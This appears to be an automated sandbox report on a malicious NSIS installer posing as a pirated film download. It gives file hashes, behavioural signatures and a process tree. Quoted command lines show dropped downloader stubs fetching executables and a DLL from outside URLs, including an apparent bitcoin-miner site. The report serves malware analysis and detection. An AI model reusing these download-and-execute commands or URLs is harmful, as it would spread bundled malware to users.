46b1dbddd3052bb14cd159679cb6ab0f2b2e873ade6f156f4a4094cf7e21f0ee

General

Target

1c96e43f9fc0224e4f6d32933e41aabd.exe
Size

492KB
MD5

1c96e43f9fc0224e4f6d32933e41aabd
SHA1

30c62455f99aeda70518bedfe18b889b13aaea8d
SHA256

46b1dbddd3052bb14cd159679cb6ab0f2b2e873ade6f156f4a4094cf7e21f0ee
SHA512

d6a193ddda998cef1a2191d7a0cebb7ad1cdd15ba5acabc6c290710c2802cf0c8b3f7930f271a65cb5b56bec1cc1b9e0d8ab0a6b70b83530f58434ecd02a0832
SSDEEP

6144:Kuk4fqjCHQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:w4fwM6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
1820	downloaderSTUB.exe
1124	downloaderSTUB.exe
3048	downloaderSTUB.exe
2164	downloaderDDLR.exe
2816	downloaderOFFER0.exe

Loads dropped DLL 6 IoCs

pid	Process
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe
2360	1c96e43f9fc0224e4f6d32933e41aabd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000015dd8-4.dat	nsis_installer_1
behavioral1/files/0x0009000000015dd8-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 1820	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	22
PID 2360 wrote to memory of 1820	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	22
PID 2360 wrote to memory of 1820	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	22
PID 2360 wrote to memory of 1820	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	22
PID 2360 wrote to memory of 3048	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	21
PID 2360 wrote to memory of 3048	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	21
PID 2360 wrote to memory of 3048	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	21
PID 2360 wrote to memory of 3048	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	21
PID 2360 wrote to memory of 1124	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	20
PID 2360 wrote to memory of 1124	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	20
PID 2360 wrote to memory of 1124	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	20
PID 2360 wrote to memory of 1124	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	20
PID 2360 wrote to memory of 2164	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	19
PID 2360 wrote to memory of 2164	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	19
PID 2360 wrote to memory of 2164	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	19
PID 2360 wrote to memory of 2164	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	19
PID 2360 wrote to memory of 2816	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	18
PID 2360 wrote to memory of 2816	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	18
PID 2360 wrote to memory of 2816	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	18
PID 2360 wrote to memory of 2816	2360	1c96e43f9fc0224e4f6d32933e41aabd.exe	18

C:\Users\Admin\AppData\Local\Temp\1c96e43f9fc0224e4f6d32933e41aabd.exe
"C:\Users\Admin\AppData\Local\Temp\1c96e43f9fc0224e4f6d32933e41aabd.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\preinstaller.exe 0 "Pirates of the Caribbean 4; On Stranger Tides (2011) DVDRip NL s" "Download"
  2⤵
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\optimizer.exe"
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\updater.exe"
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\stub.exe"
  2⤵
  - Executes dropped EXE
  PID:1820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3548e572397e44dcc7dc2a93299d464e\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\nso1A17.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2360-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2664-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download

Analysis

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